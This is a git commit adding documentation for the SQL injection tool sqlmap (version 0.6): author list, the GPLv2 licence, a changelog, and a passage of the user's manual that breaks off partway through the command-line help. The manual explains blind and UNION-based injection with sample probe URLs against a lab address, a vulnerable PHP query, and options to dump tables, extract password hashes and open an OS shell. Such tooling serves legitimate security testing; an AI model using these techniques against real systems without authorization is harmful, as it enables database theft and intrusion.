commit 8e3eb4551091373b631462caf66448dd71ec61ef Author: Bernardo Damele Date: Wed Oct 15 15:38:22 2008 +0000 After the storm, a restore.. diff --git a/doc/AUTHORS b/doc/AUTHORS new file mode 100644 index 000000000..b534c3e1f --- /dev/null +++ b/doc/AUTHORS @@ -0,0 +1,7 @@ +Bernardo Damele A. G. (inquis) - project leader, core developer + +PGP Key ID: 0x05F5A30F + +Daniele Bellucci (belch) - project founder, initial developer + +PGP Key ID: 0x9A0E8190 diff --git a/doc/COPYING b/doc/COPYING new file mode 100644 index 000000000..b8602677e --- /dev/null +++ b/doc/COPYING @@ -0,0 +1,340 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/doc/ChangeLog b/doc/ChangeLog new file mode 100644 index 000000000..526335202 --- /dev/null +++ b/doc/ChangeLog @@ -0,0 +1,229 @@ +sqlmap (0.6.1-1) stable; urgency=low + + * Major bug fix to blind SQL injection bisection algorithm to handle an + exception; + * Written a Metasploit 3 auxiliary module to run sqlmap; + * Implemented possibility to test for and inject also on LIKE + statements; + * Implemented --start and --stop options to set the first and the last + table entry to dump; + * Added non-interactive/batch-mode (--batch) option to make it easy to + wrap sqlmap in Metasploit and any other tool; + * Minor enhancement to save also the length of query output in the + session file when retrieving the query output length for ETA or for + resume purposes. TODO: fix for ETA + + -- Bernardo Damele A. G. Fri, 10 Oct 2008 10:00:00 +0100 + + +sqlmap (0.6-1) stable; urgency=low + + * Complete code refactor and many bugs fixed; + * Added multithreading support to set the maximum number of concurrent + HTTP requests; + * Implemented SQL shell (--sql-shell) functionality and fixed SQL query + (--sql-query, before called -e) to be able to run whatever SELECT + statement and get its output in both inband and blind SQL injection + attack; + * Added an option (--privileges) to retrieve DBMS users privileges, it + also notifies if the user is a DBMS administrator; + * Added support (-c) to read options from configuration file, an example + of valid INI file is sqlmap.conf and support (--save) to save command + line options on a configuration file; + * Created a function that updates the whole sqlmap to the latest stable + version available by running sqlmap with --update option; + * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) + installation binary packages; + * Created sqlmap .exe (Windows) portable executable; + * Save a lot of more information to the session file, useful when + resuming injection on the same target to not loose time on identifying + injection, UNION fields and back-end DBMS twice or more times; + * Improved automatic check for parenthesis when testing and forging SQL + query vector; + * Now it checks for SQL injection on all GET/POST/Cookie parameters then + it lets the user select which parameter to perform the injection on in + case that more than one is injectable; + * Implemented support for HTTPS requests over HTTP(S) proxy; + * Added a check to handle NULL or not available queries output; + * More entropy (randomStr() and randomInt() functions in + lib/core/common.py) in inband SQL injection concatenated query and in + AND condition checks; + * Improved XML files structure; + * Implemented the possibility to change the HTTP Referer header; + * Added support to resume from session file also when running with + inband SQL injection attack; + * Added an option (--os-shell) to execute operating system commands if + the back-end DBMS is MySQL, the web server has the PHP engine active + and permits write access on a directory within the document root; + * Added a check to assure that the provided string to match (--string) + is within the page content; + * Fixed various queries in XML file; + * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted + the library to parse it; + * Fixed password fetching function, mainly for Microsoft SQL Server and + reviewed the password hashes parsing function; + * Major bug fixed to avoid tracebacks when the testable parameter(s) is + dynamic, but not injectable; + * Enhanced logging system: added three more levels of verbosity to show + also HTTP sent and received traffic; + * Enhancement to handle Set-Cookie from target url and automatically + re-establish the Session when it expires; + * Added support to inject also on Set-Cookie parameters; + * Implemented TAB completion and command history on both --sql-shell and + --os-shell; + * Renamed some command line options; + * Added a conversion library; + * Added code schema and reminders for future developments; + * Added Copyright comment and $Id$ svn property to all Python files; + * Updated the command line layout and help messages; + * Updated some docstrings; + * Updated documentation files. + + -- Bernardo Damele A. G. Mon, 1 Sep 2008 10:00:00 +0100 + + +sqlmap (0.5-1) stable; urgency=low + + * Added support for Oracle database management system + * Extended inband SQL injection functionality (--union-use) to all + other possible queries since it only worked with -e and --file on + all DMBS plugins; + * Added support to extract database users password hash on Microsoft + SQL Server; + * Added a fuzzer function with the aim to parse HTML page looking + for standard database error messages consequently improving + database fingerprinting; + * Added support for SQL injection on HTTP Cookie and User-Agent headers; + * Reviewed HTTP request library (lib/request.py) to support the + extended inband SQL injection functionality. Splitted getValue() + into getInband() and getBlind(); + * Major enhancements in common library and added checkForBrackets() + method to check if the bracket(s) are needed to perform a UNION query + SQL injection attack; + * Implemented --dump-all functionality to dump entire DBMS data from + all databases tables; + * Added support to exclude DBMS system databases' when enumeration + tables and dumping their entries (--exclude-sysdbs); + * Implemented in Dump.dbTableValues() method the CSV file dumped data + automatic saving in csv/ folder by default; + * Added DB2, Informix and Sybase DBMS error messages and minor + improvements in xml/errors.xml; + * Major improvement in all three DBMS plugins so now sqlmap does not + get entire databases' tables structure when all of database/table/ + column are specified to be dumped; + * Important fixes in lib/option.py to make sqlmap properly work also + with python 2.5 and handle the CSV dump files creation work also + under Windows operating system, function __setCSVDir() and fixed + also in lib/dump.py; + * Minor enhancement in lib/injection.py to randomize the number + requested to test the presence of a SQL injection affected parameter + and implemented the possibilities to break (q) the for cycle when + using the google dork option (-g); + * Minor fix in lib/request.py to properly encode the url to request + in case the "fixed" part of the url has blank spaces; + * More minor layout enhancements in some libraries; + * Renamed DMBS plugins; + * Complete code refactoring, a lot of minor and some major fixes in + libraries, many minor improvements; + * Updated all documentation files. + + -- Bernardo Damele A. G. Sun, 4 Nov 2007 20:00:00 +0100 + + +sqlmap (0.4-1) stable; urgency=low + + * Added DBMS fingerprint based also upon HTML error messages parsing + defined in lib/parser.py which reads an XML file defining default + error messages for each supported DBMS; + * Added Microsoft SQL Server extensive DBMS fingerprint checks based + upon accurate '@@version' parsing matching on an XML file to get also + the exact patching level of the DBMS; + * Added support for query ETA (Estimated Time of Arrival) real time + calculation (--eta); + * Added support to extract database management system users password + hash on MySQL and PostgreSQL (--passwords); + * Added docstrings to all functions, classes and methods, consequently + released the sqlmap development documentation + ; + * Implemented Google dorking feature (-g) to take advantage of Google + results affected by SQL injection to perform other command line + argument on their DBMS; + * Improved logging functionality: passed from banal 'print' to Python + native logging library; + * Added support for more than one parameter in '-p' command line + option; + * Added support for HTTP Basic and Digest authentication methods + (--basic-auth and --digest-auth); + * Added the command line option '--remote-dbms' to manually specify + the remote DBMS; + * Major improvements in union.UnionCheck() and union.UnionUse() + functions to make it possible to exploit inband SQL injection also + with database comment characters ('--' and '#') in UNION SELECT + statements; + * Added the possibility to save the output into a file while performing + the queries (-o OUTPUTFILE) so it is possible to stop and resume the + same query output retrieving in a second time (--resume); + * Added support to specify the database table column to enumerate + (-C COL); + * Added inband SQL injection (UNION SELECT) support (--union-use); + * Complete code refactoring, a lot of minor and some major fixes in + libraries, many minor improvements; + * Reviewed the directory tree structure; + * Splitted lib/common.py: inband injection functionalities now are + moved to lib/union.py; + * Updated documentation files. + + -- Bernardo Damele A. G. Fri, 15 Jun 2007 20:00:00 +0100 + + +sqlmap (0.3-1) stable; urgency=low + + * Added module for MS SQL Server; + * Strongly improved MySQL dbms active fingerprint and added MySQL + comment injection check; + * Added PostgreSQL dbms active fingerprint; + * Added support for string match (--string); + * Added support for UNION check (--union-check); + * Removed duplicated code, delegated most of features to the engine + in common.py and option.py; + * Added support for --data command line argument to pass the string + for POST requests; + * Added encodeParams() method to encode url parameters before making + http request; + * Many bug fixes; + * Rewritten documentation files; + * Complete code restyling. + + -- Bernardo Damele A. G. Sat, 20 Jan 2007 20:00:00 +0100 + + +sqlmap (0.2-1) stable; urgency=low + + * complete refactor of entire program; + * added TODO and THANKS files; + * added some papers references in README file; + * moved headers to user-agents.txt, now -f parameter specifies a file + (user-agents.txt) and randomize the selection of User-Agent header; + * strongly improved program plugins (mysqlmap.py and postgres.py), + major enhancements: + * improved active mysql fingerprint check_dbms(); + * improved enumeration functions for both databases; + * minor changes in the unescape() functions; + * replaced old inference algorithm with a new bisection algorithm. + * reviewed command line parameters, now with -p it's possible to + specify the parameter you know it's vulnerable to sql injection, + this way the script won't perform the sql injection checks itself; + removed the TOKEN parameter; + * improved Common class, adding support for http proxy and http post + method in hash_page; + * added OptionCheck class in option.py which performs all needed checks + on command line parameters and values; + * added InjectionCheck class in injection.py which performs check on + url stability, dynamics of parameters and injection on dynamic url + parameters; + * improved output methods in dump.py; + * layout enhancement on main program file (sqlmap.py), adapted to call + new option/injection classes and improvements on catching of + exceptions. + + -- Bernardo Damele A. G. Wed, 13 Dec 2006 20:00:00 +0100 diff --git a/doc/README.html b/doc/README.html new file mode 100644 index 000000000..975925622 --- /dev/null +++ b/doc/README.html @@ -0,0 +1,3264 @@ + + + + + sqlmap user's manual + + +

sqlmap user's manual

+ +

by +Bernardo Damele A. G.

version 0.6, 1st of September 2008 +
+This document is the user's manual to use +sqlmap. +Check the project +homepage +for the latest version. +
+

+

1. Introduction

+ + +

+

2. Features

+ +

+

3. Download and update

+ +

+

4. License and copyright

+ +

+

5. Usage

+ + +

+

6. Disclaimer

+ +

+

7. Authors

+ + +
+

1. Introduction

+ +

sqlmap is an automatic +SQL injection tool. Its goal is to detect and take advantage of +SQL injection vulnerabilities on web applications. Once it detects one or +more SQL injections on the target host, the user can choose among a +variety of options to perform an extensive back-end database management +system fingerprint, retrieve DBMS session user and database, enumerate +users, password hashes, privileges, databases, dump entire or user's +specific DBMS tables/columns, run his own SQL SELECT statement, +read specific files on the file system and much more.

+ + +

1.1 Requirements +

+ +

sqlmap is developed in +Python, +a dynamic object-oriented interpreted programming language. +This makes the tool independent from the operating system since it only +requires the Python interpreter. +The interpreter is freely downloadable from its +official site. +To make it even easier, many GNU/Linux distributions come out of the box +with Python interpreter package installed and other Unices and MacOS X +too provide it packaged in their formats and ready to be installed. +Windows users can download and install the Python setup-ready installer +for x86, AMD64 and Itanium too.

+

Optionally, if you are running sqlmap on Windows, you may wish to install +PyReadline +to be able to take advantage of the sqlmap TAB completion and history +support functionalities in the SQL shell and OS shell. +Note that these functionalities are available natively by Python official +readline library on other operating systems.

+ + +

1.2 Scenario +

+ +

Let's say that you are auditing a web application and found a web page +that accepts dynamic user-provided values on GET or POST +parameters or HTTP Cookie values or HTTP User-Agent +header value. +You now want to test if these are affected by a SQL injection +vulnerability, and if so, exploit them to retrieve as much information as +possible out of the web application's back-end database management system +or even be able to access the underlying operating system.

+

Consider that the target url is:

+

+

+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +
+

+

Assume that:

+

+

+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2 +
+

+

is the same page as the original one and:

+

+

+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2 +
+

+

differs from the original one, it means that you are in front of a SQL +injection vulnerability in the id GET parameter of the +index.php web application page which means that no IDS/IPS, no +web application firewall, no parameters' value sanitization is performed +on the server-side.

+

This is a quite common flaw in dynamic content web applications and it +does not depend upon the back-end database management system nor on the web +application programming language: it is a programmer code's security flaw. +The +Open Web Application Security Project +recently rated in their +OWASP Top Ten survey this vulnerability as the +most common and important web application vulnerability, second only to +Cross-Site Scripting.

+

Back to the scenario, probably the SQL SELECT statemenet into +index.php has a syntax similar to the following SQL query, in +pseudo PHP code:

+

+

+$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; +
+

+

As you can see, appending any other syntatically valid SQL condition after +a value for id such condition will take place when the web +application passes the query to the back-end database management system +that executes it, that is why the condition id=1 AND 1=1 is valid +(True) and returns the same page as the original one, with the +same content and without showing any SQL error message.

+

Moreover, in this simple and easy to inject scenario it would be also +possible to append, not just one or more valid SQL condition(s), but also +stacked SQL queries, for instance something like [...]&id=1; +ANOTHER SQL QUERY--

+

Now that you found this SQL injection vulnerable parameter, you can +exploit it by manipulating the id parameter value in the HTTP +request.

+

There exist many +resources +on the Net explaining in depth how to prevent and how to exploit SQL +injection vulnerabilities and it is recommended to read them if you are +not familiar with the issue before going ahead with sqlmap.

+

Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +to sqlmap, the tool will automatically:

+

+

    +
  • Identify the vulnerable parameter(s) (id in this scenario);
  • +
  • Depending on the user's options, sqlmap uses the blind SQL +injection or the inband SQL injection technique as described +in the following section to go ahead with the exploiting.
  • +
+

+ + +

1.3 Techniques +

+ +

sqlmap implements two techniques to exploit a SQL injection vulnerability:

+

+

    +
  • Blind SQL injection, also known as inference SQL +injection: sqlmap appends to the affected parameter in the HTTP +request, a syntatically valid SQL statement string containing a +SELECT sub-statement, or any other SQL statement whose the user +want to retrieve the output. +For each HTTP response, by making a comparison based upon HTML page +content hashes, or string matches, with the original request, the tool +determines the output value of the statement character by character. +The bisection algorithm implemented in sqlmap to perform this technique +is able to fetch each output character with at maximum seven HTTP +requests. +This is sqlmap default SQL injection technique.
  • +
  • Inband SQL injection, also known as UNION query SQL +injection: sqlmap appends to the affected parameter in the HTTP +request, a syntatically valid SQL statement string starting with a +UNION ALL SELECT. This techique is useful if the web application +page passes the output of the SELECT statement to a for +cycle, or similar, so that each line of the query output is printed on the +page content. +This technique is much faster if the target url is affected by because +in a single HTTP response it returns the whole query output within the +page content. +This SQL injection technique is an alternative to the first one.
  • +
+

+

It is strongly recommended to run at least once sqlmap with the +--union-test option to test if the affected parameter is used +within a for cycle, or similar, and in case use +--union-use option to exploit this vulnerability because it +saves a lot of time and it does not weight down the web server log file +with hundreds of HTTP requests.

+ + +

2. Features

+ +

Major features implemented in sqlmap include:

+

+

    +
  • Full support for MySQL, Oracle, PostgreSQL +and Microsoft SQL Server back-end database management systems. +Besides these four database management systems, sqlmap can also identify +Microsoft Access, DB2, Informix, Sybase and Interbase.
  • +
  • Extensive back-end database management system fingerprint +based upon +inband error messages, +banner parsing, +functions output comparison and +specific features +such as MySQL comment injection. It is also possible to force the back-end +database management system name if you already know it.
  • +
  • Full support for two SQL injection techniques: blind SQL +injection and inband SQL injection.
  • +
  • Options to retrieve on all four back-end database management system +banner, current user, current database, +enumerate users, users password hashes, users +privileges, databases, tables, columns, +dump tables entries, dump whole database management +system and run your own SQL SELECT statement.
  • +
  • If the back-end database management system is MySQL it is also +possible to read a specific file content and in some +circumstances prompt for an interactive operating system shell +with TAB completion and history support.
  • +
  • Automatically tests all provided GET parameters, +POST parameters, HTTP Cookie header values and HTTP +User-Agent header value to find the dynamic ones, which means +those that vary the HTTP response page content. +On the dynamic ones sqlmap automatically tests and detects the ones +affected by SQL injection. Each dynamic parameter is tested for +numeric, single quoted string, double quoted +string and all of these three datatypes with zero, one and two +parenthesis to correctly detect which is the SELECT statement syntax to +perform further injections with. It is also possible to specify the +parameter(s) that you want to perform tests and use for injection on.
  • +
  • Option to specify the maximum number of concurrent HTTP +requests to speed up the blind SQL injection algorithms +(multithreading).
  • +
  • HTTP Cookie header string support, useful when the +web application requires authentication based upon cookies and you have +such data or in case you just want to test for and exploit SQL injection +on such header.
  • +
  • Automatically handle HTTP Set-Cookie header from +target url, re-establishing of the session if it expires. Test and exploit +on these values is supported too.
  • +
  • HTTP Basic and Digest authentications support.
  • +
  • Anonymous HTTP proxy support to pass by the HTTP requests +to the target URL.
  • +
  • Options to fake the HTTP Referer header value and +the HTTP User-Agent header value specified by user or +randomly selected from a text file.
  • +
  • Support to increase the verbosity level of output messages: +there exist six levels. The default level is 0 (silent) in which +only warnings, errors and tracebacks, if they occur, will be shown.
  • +
  • Estimated time of arrival support for each query, updated +in real time while fetching the information to give to the user an +overview on how long it will take to retrieve the output.
  • +
  • Support to save the session (queries and their output, even if +partially retrieved) in real time while fetching the data on a text file +and resume the injection from this file in a second time.
  • +
  • Support to read options from a configuration INI file rather than +specify each time all of the options on the command line. Support also to +save command line options on a configuration INI file.
  • +
  • PHP setting magic_quotes_gpc bypass by encoding +every query string, between single quotes, with CHAR, or similar, +database management system function.
  • +
+

+ + +

3. Download and update

+ +

sqlmap can be downloaded from its +SourceForge File List page. +It is available in various formats:

+

+

+

+ +

Whatever way you downloaded sqlmap, run it with --update +option to update it to the latest stable version available on its +SourceForge File List page.

+ + +

4. License and copyright

+ +

sqlmap is released under the terms of the +General Public License v2. +sqlmap is copyrighted by +Bernardo Damele A. G. +and +Daniele Bellucci.

+ + +

5. Usage

+ +

+

+
+$ python sqlmap.py -h
+
+    sqlmap/0.6 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
+                        and Daniele Bellucci <daniele.bellucci@gmail.com>
+    
+Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
+
+Options:
+  --version             show program's version number and exit
+  -h, --help            show this help message and exit
+
+  Request:
+    These options have to be specified to set the target url, HTTP method,
+    how to connect to the target url or Google dorking results in general.
+
+    -u URL, --url=URL   Target url
+    -g GOOGLEDORK       Process Google dork results as target urls
+    -p TESTPARAMETER    Testable parameter(s)
+    --method=METHOD     HTTP method, GET or POST (default: GET)
+    --data=DATA         Data string to be sent through POST
+    --cookie=COOKIE     HTTP Cookie header
+    --referer=REFERER   HTTP Referer header
+    --user-agent=AGENT  HTTP User-Agent header
+    -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
+    --auth-type=ATYPE   HTTP Authentication type, value: Basic or Digest
+    --auth-cred=ACRED   HTTP Authentication credentials, value: name:password
+    --proxy=PROXY       Use a HTTP proxy to connect to the target url
+    --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
+
+  Injection:
+    --string=STRING     String to match in page when the query is valid
+    --dbms=DBMS         Force back-end DBMS to this value
+
+  Fingerprint:
+    -f, --fingerprint   Perform an extensive database fingerprint
+
+  Enumeration:
+    These options can be used to enumerate the back-end database
+    management system information, structure and data contained in the
+    tables. Moreover you can run your own SQL SELECT queries.
+
+    -b, --banner        Retrieve DBMS banner
+    --current-user      Retrieve DBMS current user
+    --current-db        Retrieve DBMS current database
+    --users             Enumerate DBMS users
+    --passwords         Enumerate DBMS users password hashes (opt: -U)
+    --privileges        Enumerate DBMS users privileges (opt: -U)
+    --dbs               Enumerate DBMS databases
+    --tables            Enumerate DBMS database tables (opt: -D)
+    --columns           Enumerate DBMS database table columns (req: -T, -D)
+    --dump              Dump DBMS database table entries (req: -T, -D opt: -C)
+    --dump-all          Dump all DBMS databases tables entries
+    -D DB               DBMS database to enumerate
+    -T TBL              DBMS database table to enumerate
+    -C COL              DBMS database table column to enumerate
+    -U USER             DBMS user to enumerate
+    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
+    --sql-query=QUERY   SQL SELECT query to be executed
+    --sql-shell         Prompt for an interactive SQL shell
+
+  File system access:
